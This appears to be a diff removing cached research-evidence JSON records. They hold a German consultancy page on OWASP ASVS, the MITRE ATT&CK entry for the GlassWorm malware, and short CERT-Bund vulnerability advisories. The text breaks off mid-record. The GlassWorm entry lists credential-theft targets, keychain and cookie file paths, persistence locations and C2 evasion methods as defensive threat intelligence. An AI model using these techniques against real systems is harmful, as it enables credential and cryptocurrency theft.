Anwendung nicht nur punktuell prüfen, sondern strukturiert und nachvollziehbar bewerten möchten. Besonders relevant ist dies bei Kundenanforderungen, Audits oder regulatorischen Vorgaben, bei denen belastbare Nachweise erforderlich sind. Auch bei der Einführung oder Weiterentwicklung eines Secure Software Development Lifecycles bietet ASVS eine klare Orientierung. Unternehmen erhalten dadurch eine fundierte Entscheidungsgrundlage für Investitionen in Sicherheit.\n\nViele Unternehmen gehen fälschlicherweise davon aus, dass nur klassische KRITIS-Betreiber betroffen sind. NIS-2 erweitert den Kreis deutlich.\n\nEine strukturierte Betroffenheitsanalyse schafft hier Klarheit und dokumentiert Ihre Einstufung gegenüber Behörden.\n\nWie lange dauert ein Assessment?\n\nDie Dauer eines OWASP ASVS Assessments hängt maßgeblich vom Umfang der Anwendung, dem gewählten ASVS Level und der technischen Komplexität ab. Kleinere Anwendungen mit geringem Schutzbedarf können innerhalb weniger Tage bewertet werden, während umfangreiche Systeme mehrere Wochen in Anspruch nehmen können. Zusätzlich beeinflussen Faktoren wie Dokumentationsqualität und Verfügbarkeit von Ansprechpartnern den Zeitaufwand. Eine klare Scope-Definition zu Beginn sorgt für planbare Projektlaufzeiten.\n\nCybersicherheit wird damit zur Governance-Aufgabe. Bei unzureichender Aufsicht und Fahrlässigkeit macht NIS-2 die Geschäftsleitung gegenüber dem Unternehmen haftbar.\n\nEntscheidend ist daher eine klare Rollenverteilung und ein nachvollziehbarer und dokumentierter Maßnahmenplan.\n\nWelche Kosten entstehen?\n\nDie Kosten eines ASVS Assessments richten sich nach dem definierten Scope, dem angestrebten ASVS Level und der Tiefe der Prüfung. Je höher die Sicherheitsanforderungen und je komplexer die Anwendung, desto umfangreicher ist der Prüfaufwand. Zusätzlich spielen Abstimmungsaufwand, Dokumentationslage und notwendige Workshops eine Rolle. Eine transparente Aufwandsschätzung erfolgt in der Regel nach einer initialen Analyse der Anwendung.\n\nWie unterscheidet sich ASVS von einem klassischen Audit?\n\nEin ASVS Assessment kombiniert technische Sicherheitsprüfungen mit einem klar definierten Anforderungskatalog, während klassische Audits häufig stärker dokumentationsgetrieben sind. Dadurch entsteht ein detaillierteres und technisch fundiertes Bild der tatsächlichen Sicherheitslage. Im Gegensatz zu reinen Compliance-Audits werden konkrete Schwachstellen, Architekturentscheidungen und Umsetzungsdetails bewertet. Das Ergebnis ist eine praxisnahe Grundlage für Verbesserungen, nicht nur ein formaler Nachweis.\n\nWas ist der Unterschied zwischen ASVS Assessment und Penetrationstest?\n\nEin häufiges Missverständnis ist die Gleichsetzung von Penetrationstest und ASVS Assessment. Beide Ansätze ergänzen sich, verfolgen jedoch unterschiedliche Ziele und liefern unterschiedliche Ergebnisse.\n\nPenetrationstest: häufig Black-Box-orientiert mit Fokus auf konkrete Schwachstellen\n\nASVS Assessment: strukturierte Prüfung entlang definierter Sicherheitsanforderungen\n\nKombination aus technischen Tests, Dokumentationsanalysen und konzeptioneller Bewertung\n\nErgebnis ist ein tiefergehendes Gesamtbild der Sicherheitslage über einzelne Findings hinaus\n\nEin Penetrationstest zeigt primär, wo eine Anwendung angreifbar ist, während ein ASVS Assessment bewertet, wie sicher eine Anwendung insgesamt aufgebaut ist. Dadurch werden nicht nur einzelne Schwachstellen identifiziert, sondern auch strukturelle Defizite in Architektur, Prozessen und Sicherheitskonzepten sichtbar gemacht. Das ASVS Assessment eignet sich daher besonders für Unternehmen, die ein nachvollziehbares und standardisiertes Sicherheitsniveau erreichen und nachweisen möchten.\n\nSie haben noch Fragen?\n\nVertrauen Sie auf unsere Expertise – Ihr zuverlässiger Partner für Cybersicherheit und Informationssicherheit.\n\nVereinbaren Sie ein Erstgespräch, um den Schutzbedarf Ihrer Anwendung einzuordnen und das passende ASVS Level festzulegen.\n\nUnter folgenden Link finden Sie unsere Datenschutzerklärung und die dazugehörige Information nach Art. 13 DSGVO: https://bws-group.de/datenschutzerklaerung/\n\n*TISAX® ist eine eingetragene Marke der ENX Association. Durch die Erwähnung der Marke TISAX® wird keine Aussage des Markeninhabers über die hier beworbenen Leistungen getroffen.", - "content_type": "text/html", - "query": "Wie können MITRE ATT\u0026CK und OWASP ASVS in der Praxis kombiniert werden, um Anwendungssicherheit zu verbessern?", - "language": "de-DE", - "round": 2, - "fetched": true, - "relevant": true, - "relevance": 0.7454545454545454, - "source_quality": "reputable_secondary", - "source_quality_score": 0.7440000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-907479d4-4" - ], - "assessment_reason": "Die Quelle beschreibt detailliert, was ein OWASP ASVS Assessment ist und warum es für die Sicherheitsbewertung von Webanwendungen relevant ist. Sie erklärt, wie ASVS eine strukturierte und nachvollziehbare Prüfung ermöglicht, was direkt auf die Frage abzielt. Zwar wird MITRE ATT\u0026CK nicht explizit erwähnt, aber die Verbindung zu Sicherheitsbewertungen und Nachweisen ist klar. Die Quelle bietet konkrete Schritte zur Durchführung eines ASVS Assessments, was die Umsetzbarkeit erhöht. Allerdings fehlt eine direkte Verbindung zu MITRE ATT\u0026CK, was die Relevanz etwas reduziert." - } -} diff --git a/data/research-evidence/6c73fb0b46305987b891f860.json b/data/research-evidence/6c73fb0b46305987b891f860.json deleted file mode 100644 index 60ac948..0000000 --- a/data/research-evidence/6c73fb0b46305987b891f860.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T04:16:04.1268947Z", - "content_sha256": "f37b2d4e16dc09025c12faf6649dfa1f8e76b1ae965fd57d165dba866f87f375", - "result": { - "title": "GlassWorm, Software S9010 | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/software/S9010/", - "snippet": "GlassWorm is a worm that propagated through supply chain attacks by compromising repository credentials from victim environments and having malicious payloads added to those compromised accounts for distribution to victims across the various development ecosystems.", - "content": "GlassWorm, Software S9010 | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nSoftware\n\nGlassWorm\n\nGlassWorm\n\nGlassWorm is a worm that propagated through supply chain attacks by compromising repository credentials from victim environments and having malicious payloads added to those compromised accounts for distribution to victims across the various development ecosystems. [1] [2] [3] GlassWorm has numerous variants, including Rust binaries, encrypted JavaScript and a variant leveraging invisible Unicode characters that made reverse engineering difficult. [4] [1] [5] GlassWorm has employed a unique command and control (C2) methodology using Solana blockchain. [6] [1] GlassWorm was first reported in October 2025. [6] [1] [3]\n\nID: S9010\n\nType : MALWARE\n\nPlatforms : macOS, Windows\n\nVersion : 1.0\n\nCreated: 10 April 2026\n\nLast Modified: 24 April 2026\n\nVersion Permalink\n\nLive Version\n\nATT\u0026CK ® Navigator Layers\n\nEnterprise Layer\n\ndownload\n\nview\n\nTechniques Used\n\nDomain\n\nID\n\nName\n\nUse\n\nEnterprise\n\nT1071\n\n.001\n\nApplication Layer Protocol : Web Protocols\n\nGlassWorm has used HTTP for C2 and extracts data from the HTTP response headers. [1]\n\nEnterprise\n\nT1560\n\n.001\n\nArchive Collected Data : Archive via Utility\n\nGlassWorm has archived collected files within a zip file prior to exfiltration to include /tmp/out.zip . [3]\n\nEnterprise\n\nT1547\n\n.001\n\nBoot or Logon Autostart Execution : Registry Run Keys / Startup Folder\n\nGlassWorm has set registry run keys for persistence in both HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ . [1]\n\nEnterprise\n\nT1217\n\nBrowser Information Discovery\n\nGlassWorm has searched browser data for cookies, history, login databases, and cryptocurrency wallets. [3]\n\nEnterprise\n\nT1059\n\n.002\n\nCommand and Scripting Interpreter : AppleScript\n\nGlassWorm has utilized AppleScript to include set keychainPassword to do shell script to execute shell command that retrieves passwords from the macOS keychain. [4]\n\n.007\n\nCommand and Scripting Interpreter : JavaScript\n\nGlassWorm has leveraged JavaScript to execute its malicious code to include its hidden Unicode characters using the eval call. [6] [1] [2] [3] GlassWorm has also utilized encrypted payloads compiled in JavaScript. [4]\n\nEnterprise\n\nT1554\n\nCompromise Host Software Binary\n\nGlassWorm can modify hardware wallet applications. [4]\n\nEnterprise\n\nT1543\n\n.001\n\nCreate or Modify System Process : Launch Agent\n\nGlassWorm has established persistence on macOS via a LaunchAgent by writing a plist under /library/LaunchAgents . [4] [3]\n\nEnterprise\n\nT1555\n\n.001\n\nCredentials from Password Stores : Keychain\n\nGlassWorm has collected keys stored within /Library/Keychains/login.keychain-db . [4] [3]\n\n.003\n\nCredentials from Password Stores : Credentials from Web Browsers\n\nGlassWorm has gathered credentials stored in Mozilla FireFox and Chromium-based Browsers. [4] [3]\n\nEnterprise\n\nT1602\n\n.002\n\nData from Configuration Repository : Network Device Configuration Dump\n\nGlassWorm has gathered data pertaining to VPN configurations. [4] [3] GlassWorm has also targeted locally stored data on macOS located in /Library/Application Support/Fortinet/FortiClient/conf/vpn.plist . [3]\n\nEnterprise\n\nT1213\n\n.003\n\nData from Information Repositories : Code Repositories\n\nGlassWorm has gathered code repository authentication materials for NPM and GitHub. [4] [1] [3] GlassWorm has collected details pertaining to the npm configuration data for _authToken . [1] [3]\n\n.006\n\nData from Information Repositories : Databases\n\nGlassWorm has collected data from macOS devices through the gathering of Apple Notes related files by targeting /Library/Group Containers/group.com.apple.notes/NoteStore.sqlite , /Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal , and /Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm . [3]\n\nEnterprise\n\nT1005\n\nData from Local System\n\nGlassWorm has collected local data from a compromised host to include desktop cryptocurrency wallet data, and documents from within Desktop, Documents, and Downloads. [3]\n\nEnterprise\n\nT1565\n\n.002\n\nData Manipulation : Transmitted Data Manipulation\n\nGlassWorm can intercept and modify transaction details associated with hardware wallet applications before signing. [4]\n\nEnterprise\n\nT1074\n\n.001\n\nData Staged : Local Data Staging\n\nGlassWorm has staged collected data in a working directory within a temp folder to include /tmp/ijewf . [4] [3]\n\nEnterprise\n\nT1678\n\nDelay Execution\n\nGlassWorm has used a timeout function set to 9e5 which delays execution 900,000 milliseconds or 15 minutes to avoid detection. [4]\n\nEnterprise\n\nT1140\n\nDeobfuscate/Decode Files or Information\n\nGlassWorm has decoded its Base64 instructions. [1] GlassWorm has also decrypted its AES protected payloads. [4] [1] [3]\n\nEnterprise\n\nT1480\n\nExecution Guardrails\n\nGlassWorm has utilized logic to avoid executing on Russian based devices. [3]\n\nEnterprise\n\nT1008\n\nFallback Channels\n\nGlassWorm has utilized Google Calendar as backup C2. [1] [5]\n\nEnterprise\n\nT1657\n\nFinancial Theft\n\nGlassWorm has the ability to steal credentials for cryptocurrency wallets. [4] [1] [3]\n\nEnterprise\n\nT1564\n\n.003\n\nHide Artifacts : Hidden Window\n\nGlassWorm has leveraged Hidden Virtual Network Computing (HVNC) to remain undetected and conduct execution of collection and communication actions. [1]\n\nEnterprise\n\nT1105\n\nIngress Tool Transfer\n\nGlassWorm has downloaded additional payloads from C2. [4] [6] [3] [5]\n\nEnterprise\n\nT1036\n\nMasquerading\n\nGlassWorm has masqueraded as legitimate VSCode extensions. [2] [5] GlassWorm has also impersonated Github projects. [2]\n\nEnterprise\n\nT1571\n\nNon-Standard Port\n\nGlassWorm has distributed C2 using BitTorrent’s Distributed Hash Table (DHT) network to harness a decentralized command capability. [1]\n\nEnterprise\n\nT1027\n\n.013\n\nObfuscated Files or Information : Encrypted/Encoded File\n\nGlassWorm has leveraged AES-256-CBC encryption to obfuscate its malicious JavaScript payload. [4] [1] [3] [5] GlassWorm has also utilized Base64 encoding to obfuscate the C2 details stored in the Solana memo field. [4] [1] [5]\n\n.018\n\nObfuscated Files or Information : Invisible Unicode\n\nGlassWorm has utilized invisible Unicode Private Use Area (PUA) characters to obfuscate its malicious code so that it does not render in code editors. [4] [1] [2]\n\nEnterprise\n\nT1090\n\n.001\n\nProxy : Internal Proxy\n\nGlassWorm has leveraged peer-to-peer software to facilitate communications within the victim network to include the software WebRTC. [1] GlassWorm has also established a SOCKS proxy to interact with victim devices that also acted as a proxy node for follow-on behaviors. [1]\n\nEnterprise\n\nT1518\n\nSoftware Discovery\n\nGlassWorm has searched for existing wallet applications to include Ledger Live and Trezor Suite. [4]\n\nEnterprise\n\nT1539\n\nSteal Web Session Cookie\n\nGlassWorm has harvested Safari cookies stored within /Library/Containers/com.apple.Safari/Data/Library/Cookies/ Cookies.binarycookies . [3] GlassWorm has also stolen cookies within Chromium and Firefox browsers. [4] [3]\n\nEnterprise\n\nT1195\n\n.001\n\nSupply Chain Compromise : Compromise Software Dependencies and Development Tools\n\nGlassWorm has spread through Visual Studio extensions. [1] [2] [3] GlassWorm has also spread through JavaScript projects hosted on Github. [2]\n\nEnterprise\n\nT1082\n\nSystem Information Discovery\n\nGlassWorm has the ability to check the OS of the victim host. [3] [5] GlassWorm has checked whether the OS platform value includes darwin prior to execution of macOS specific scripts. [3] [5]\n\nEnterprise\n\nT1614\n\nSystem Location Discovery\n\nGlassWorm has leveraged geofencing logic to detect whether it is operating in a Russian associated time zone to determine whether it continues to execute. [3]\n\n.001\n\nSystem Language Discovery\n\nGlassWorm has identified the system language settings by checking for ru_RU , ru-RU , ru , and Russian to prevent execution in a Russian associated device. [3]\n\nEnterprise\n\nT1124\n\nSystem Time Discovery\n\nGlassWorm has the ability to check the system’s time zone on the victim device. [3]\n\nEnterprise\n\nT1102\n\n.001\n\nWeb Service : Dead Drop Resolver\n\nGlassWorm has leveraged blockchain-based C2 infrastructure to include Solana blockchain that contains additional C2 details within the memo field. [4] [6] [1] [2] [3] [5] GlassWorm has also leveraged Google Calendar to host encoded data. [1] [3] [5]\n\nReferences\n\nIdan Dardikman. (2025, October 18). GlassWorm: First Self-Propagating Worm Using Invisible Code Hits OpenVSX Marketplace. Retrieved April 10, 2026.\n\nIlyas Makari. (2025, October 31). The Return of the Invisible Threat: Hidden PUA Unicode Hits GitHub repositorties. Retrieved April 10, 2026.\n\nKirill Boychenko. (2026, January 31). GlassWorm Loader Hits Open VSX via Developer Account Compromise. Retrieved April 10, 2026.\n\nGal Hachamov. (2025, December 29). GlassWorm Goes Mac: Fresh Infrastructure, New Tricks. Retrieved April 10, 2026.\n\nLotan Sery. (2025, December 10). GlassWorm Goes Native: Same Infrastructure, Hardened Delivery. Retrieved April 10, 2026.\n\nIdan Dardikman, Yuval Ronen, Lotan Sery. (2025, November 6). GlassWorm Returns: New Wave Strikes as We Expose Attacker Infrastructure. Retrieved April 10, 2026.\n\nCore Objects: All\n\nCore ATT\u0026CK Objects\n\nAll\nNone\n\nMatrices\nTactics\nTechniques\nSub-Techniques\n\nDefenses: All\n\nDefenses\n\nAll\nNone\n\nMitigations\nAssets\nDetection Strategies\nAnalytics\nData Components\n\nCTI: All\n\nCTI\n\nAll\nNone\n\nGroups\nSoftware\nCampaigns\n\nReference: All\n\nReference\n\nAll\nNone\n\nResources\n\nDomains: All\n\nDomains\n\nAll\nNone\n\nEnterprise\nMobile\nICS\n\nReset filters", - "content_type": "text/html", - "query": "Wie unterscheiden sich die Angriffstechniken von Turian und GlassWorm in Bezug auf T1074.001 und T1560.001?", - "language": "de-DE", - "round": 3, - "fetched": true, - "relevant": true, - "relevance": 0.6799999999999999, - "source_quality": "primary", - "source_quality_score": 0.8560000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-3444d441-6" - ], - "assessment_reason": "Die Quelle beschreibt die Angriffstechniken von GlassWorm in Bezug auf T1074.001 und T1560.001, aber keine Informationen zu Turian. Sie liefert eine belastbare Definition und Anwendungsfall-Abgrenzung zu GlassWorm, was eine relevante Teilabdeckung der Wissenslücke ist." - } -} diff --git a/data/research-evidence/732486e9ca906902e703e0f2.json b/data/research-evidence/732486e9ca906902e703e0f2.json deleted file mode 100644 index 494df8a..0000000 --- a/data/research-evidence/732486e9ca906902e703e0f2.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:46:07.560814Z", - "content_sha256": "1eb538c4a10c6ccd9d285bf39106c8c7ae3a92041045b83b2a85c252b6bfc272", - "result": { - "title": "[NEU] [hoch] Microsoft Office: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2692", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Microsoft Teams, Microsoft Azure Managed Instance und Microsoft Service Bus ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen oder Daten zu manipulieren.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Microsoft Teams, Microsoft Azure Managed Instance und Microsoft Service Bus ausnutzen, um beliebigen Code auszuführen, erweiterte Berechtigungen zu erlangen oder Daten zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.655390421432793, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/742e18be71c1fcf0002d3ad0.json b/data/research-evidence/742e18be71c1fcf0002d3ad0.json deleted file mode 100644 index 085a390..0000000 --- a/data/research-evidence/742e18be71c1fcf0002d3ad0.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:37:10.9161508Z", - "content_sha256": "633ed3b0f1255bc871a009e95fc8fbc842ff3697986e2c187a5298b03609a2b2", - "result": { - "title": "[UPDATE] [hoch] Golang Go: Mehrere Schwachstellen ermöglichen nicht spezifizierten Angriff", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0548", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6925334165363102, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/74daed3374ecfa1f4b57a338.json b/data/research-evidence/74daed3374ecfa1f4b57a338.json deleted file mode 100644 index 2611b3d..0000000 --- a/data/research-evidence/74daed3374ecfa1f4b57a338.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:40:36.5743432Z", - "content_sha256": "804aae67922da4af99d7fb9960236fb7bef0a43f01c1a65dd81d99f5daf4d773", - "result": { - "title": "[NEU] [mittel] Red Hat Enterprise Linux (gpsd): Schwachstelle ermöglicht Codeausführung", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2694", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux ausnutzen, um beliebigen Programmcode auszuführen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux ausnutzen, um beliebigen Programmcode auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6700917808563585, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/768f97b4dd42df53dba6e2da.json b/data/research-evidence/768f97b4dd42df53dba6e2da.json deleted file mode 100644 index e108036..0000000 --- a/data/research-evidence/768f97b4dd42df53dba6e2da.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:36:37.0699668Z", - "content_sha256": "a4d115212591fa060de3648c5959c77af6ba1f9760982466cd87d43148ddf71c", - "result": { - "title": "[NEU] [hoch] Apache Portable Runtime (APR): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2697", - "snippet": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Apache Portable Runtime (APR) ausnutzen, um SQL-Injection durchzuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Apache Portable Runtime (APR) ausnutzen, um SQL-Injection durchzuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6955332925190907, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/772bbc90c10a9db5129c7586.json b/data/research-evidence/772bbc90c10a9db5129c7586.json deleted file mode 100644 index c827d59..0000000 --- a/data/research-evidence/772bbc90c10a9db5129c7586.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:48:42.9416823Z", - "content_sha256": "3dbf99ad53ca8606df4e0f0615a34abc2963fca96710fc5d4731051dbf289eb9", - "result": { - "title": "[UPDATE] [mittel] Node.js: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2585", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Node.js ausnutzen, um einen Denial of Service Angriff durchzuführen, um Sicherheitsvorkehrungen zu umgehen, und um Dateien zu manipulieren.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Node.js ausnutzen, um einen Denial of Service Angriff durchzuführen, um Sicherheitsvorkehrungen zu umgehen, und um Dateien zu manipulieren.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6480278463057558, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/78912627ff46e219016fb0ac.json b/data/research-evidence/78912627ff46e219016fb0ac.json deleted file mode 100644 index 0c15a3f..0000000 --- a/data/research-evidence/78912627ff46e219016fb0ac.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:33:44.1677534Z", - "content_sha256": "e7d4b2c0d835c8b065d80551fdbeec835e9226335316f92c00e83c8514e0f675", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0985", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um unter anderem einen Denial of Service-Angriff auszuführen oder um Sicherheitsmechanismen zu umgehen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Linux Kernel ausnutzen, um unter anderem einen Denial of Service-Angriff auszuführen oder um Sicherheitsmechanismen zu umgehen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7078937444535165, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/78eb67b0b00dd87107ac4020.json b/data/research-evidence/78eb67b0b00dd87107ac4020.json deleted file mode 100644 index be47402..0000000 --- a/data/research-evidence/78eb67b0b00dd87107ac4020.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:48:06.8483115Z", - "content_sha256": "eea575cc6e7eddfd9a4bfacb468a38b7934f45d6c633d9b397c33b5818bc42eb", - "result": { - "title": "[NEU] [niedrig] IBM DataPower Gateway: Schwachstelle ermöglicht Manipulation von Daten und Offenlegung von Informationen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2696", - "snippet": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in IBM DataPower Gateway ausnutzen, um Daten zu manipulieren, und um Informationen offenzulegen.", - "content": "Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in IBM DataPower Gateway ausnutzen, um Daten zu manipulieren, und um Informationen offenzulegen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6483032153057029, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/7d283be040fd686d300104c1.json b/data/research-evidence/7d283be040fd686d300104c1.json deleted file mode 100644 index 192f9b6..0000000 --- a/data/research-evidence/7d283be040fd686d300104c1.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:40:06.3224602Z", - "content_sha256": "2551e41abf1db2d33e49697281879d893c19838a09df7070b5914f339adba289", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Schwachstelle ermöglicht Erlangen von Administratorrechten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2102", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle in Linux Kernel ausnutzen, um Administratorrechte zu erlangen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6793907843982312, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/7eb80081a35cb1552a04d6f2.json b/data/research-evidence/7eb80081a35cb1552a04d6f2.json deleted file mode 100644 index 4668752..0000000 --- a/data/research-evidence/7eb80081a35cb1552a04d6f2.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:46:41.4852675Z", - "content_sha256": "f2f389180b57501fe0877299a71f80c48a8ae43951ec33ce4aa0979a390648aa", - "result": { - "title": "[NEU] [hoch] Microsoft SharePoint Online: Schwachstelle ermöglicht Cross-Site Scripting", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2691", - "snippet": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Microsoft SharePoint Online ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.", - "content": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Microsoft SharePoint Online ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6519234151835211, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/7fc461bd84f964b38ae07e9a.json b/data/research-evidence/7fc461bd84f964b38ae07e9a.json deleted file mode 100644 index bc12b82..0000000 --- a/data/research-evidence/7fc461bd84f964b38ae07e9a.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:41:42.5514065Z", - "content_sha256": "4b24b9dc9873f4107e4c70b58b144b4da9c8978c0d804723e07a40de8ae4759c", - "result": { - "title": "Schlüsselklau bei Ruby on Rails – Kritische Lücke mit präparierten Bildern", - "url": "https://www.heise.de/news/Schluesselklau-bei-Ruby-on-Rails-Kritische-Luecke-mit-praeparierten-Bildern-11394386.html", - "snippet": "Über kompromittierte Bilder können Angreifer Umgebungsvariablen des Servers einschließlich der Secrets auslesen und sich damit weitere Türen ins System öffnen.", - "content": "Über kompromittierte Bilder können Angreifer Umgebungsvariablen des Servers einschließlich der Secrets auslesen und sich damit weitere Türen ins System öffnen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6769172757452286, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/807d629570d070999ad291b1.json b/data/research-evidence/807d629570d070999ad291b1.json deleted file mode 100644 index e751a30..0000000 --- a/data/research-evidence/807d629570d070999ad291b1.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:35:07.1296159Z", - "content_sha256": "343f5e7da2e530c6aa137255415fc9307733e5fde27ea0883fe2e4b617a0f6f7", - "result": { - "title": "[UPDATE] [hoch] Linux Kernel: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2025-2868", - "snippet": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content": "Ein Angreifer kann mehrere Schwachstellen im Linux Kernel ausnutzen, um nicht näher spezifizierte Angriffe durchzuführen, die möglicherweise zu einer Denial-of-Service- Bedingung führen oder eine Speicherbeschädigung verursachen können.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7033104603849043, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/80dc98be3d06bf69fd7d0e7b.json b/data/research-evidence/80dc98be3d06bf69fd7d0e7b.json deleted file mode 100644 index 89f6e21..0000000 --- a/data/research-evidence/80dc98be3d06bf69fd7d0e7b.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:45:42.0171504Z", - "content_sha256": "2c49fae394a184cac2a2ac9b4686cda26a541b86ea1ff58a1f1fbc3898c955c5", - "result": { - "title": "[UPDATE] [mittel] Wireshark: Schwachstelle ermöglicht Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1605", - "snippet": "Ein entfernter, 